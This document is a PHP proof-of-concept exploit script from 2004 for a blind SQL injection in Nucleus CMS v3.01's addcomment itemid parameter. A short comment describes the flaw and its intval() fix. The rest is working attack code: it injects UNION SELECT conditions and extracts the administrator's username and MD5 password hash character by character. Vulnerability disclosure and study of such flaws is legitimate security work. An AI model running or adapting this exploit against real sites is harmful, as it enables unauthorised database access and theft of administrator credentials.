#!/usr/bin/php

<?

// Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept

// By aCiDBiTS acidbits (at) hotmail (dot) com [email concealed] 24-July-2004

//

// Nucleus CMS (http://nucleuscms.org) is a weblog php+mysql application.

//

// This Proof of Concept dumps the username and MD5(password) of the admin user placed at first position

// of members table. First of all checks if we can use "union select" or it isn't patched and then if first

// member is admin.

//

// Usage (in my debian box):

// php4 -q nuc_addc_poc.php URL

// Vulnerability description

//

// In action.php, function addcoment, there's no user input sanization for parameter itemid. In line 65:

// $blogid = getBlogIDFromItemID($post['itemid']);

// This allows to inject SQL to get data form the database.

//

// Solution

//

// Modify line 65 with:

// $blogid = getBlogIDFromItemID(intval($post['itemid']));

echo "+-------------------------------------------------------------------+\n
| Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept |\n| By aCiDBiTS acidbits (at) hotmail (dot) com [email concealed] 24-July-2004 |\n+-------------------------------------------------------------------+
\n\n";

if($argc<2) die("Usage: ".$argv[0]." URL\n\n");

$host=$argv[1];

if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "Checking if vulnerable and \"union select\" works ... ";

if( test_cond("1") && !test_cond("0") ) echo "OK!\n";

else die( "It doesn't :-(\n\n" );

echo "Checking if first member of table is admin ... ";

if( test_cond("1") ) echo "OK!\n";

else die( "It's not :-(\n\n" );

echo "\nGetting username: ";

get_field("mname");

echo "\nGetting MD5(password): ";

get_field("mpassword");

die("\n\nDone!\n\n");

function get_field( $field )

{

$unval= " 0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

$idx=1;

$min=0;

$max=strlen($unval);

while($min!=$max) {

$mid=$min+(($max-$min)/2);

if( test_cond("ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1))) ) {

$idx++;

echo substr($unval,$mid,1);

$min=0;

$max=strlen($unval);

if( !test_cond("ord(substring($field,$idx,1))") ) return;

} else {

if( test_cond("ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1))) ) $max=$mid;

else $min=$mid;

}

}

die( "\n\nUnexpected error!\n\n");

}

function test_cond( $cond )

{

$res=send_post("action=addcomment&url=index.php%3Fitemid%3D1&itemid=1+an
d+0+union+select+1+from+nucleus_member+where+madmin+and+mnumber=1+and+".
urlencode($cond)."&body=a&user=a&userid=");

if( eregi( "nucleus_ban", $res ) )

return 0;

else return 1;

}

function send_post($data)

{

global $host;

$ch=curl_init();

curl_setopt ($ch, CURLOPT_URL, $host."action.php" );

curl_setopt ($ch, CURLOPT_HEADER, 0);

curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);

curl_setopt ($ch, CURLOPT_POST, 1);

curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );

$data=curl_exec ($ch);

curl_close ($ch);

return $data;

}

?>

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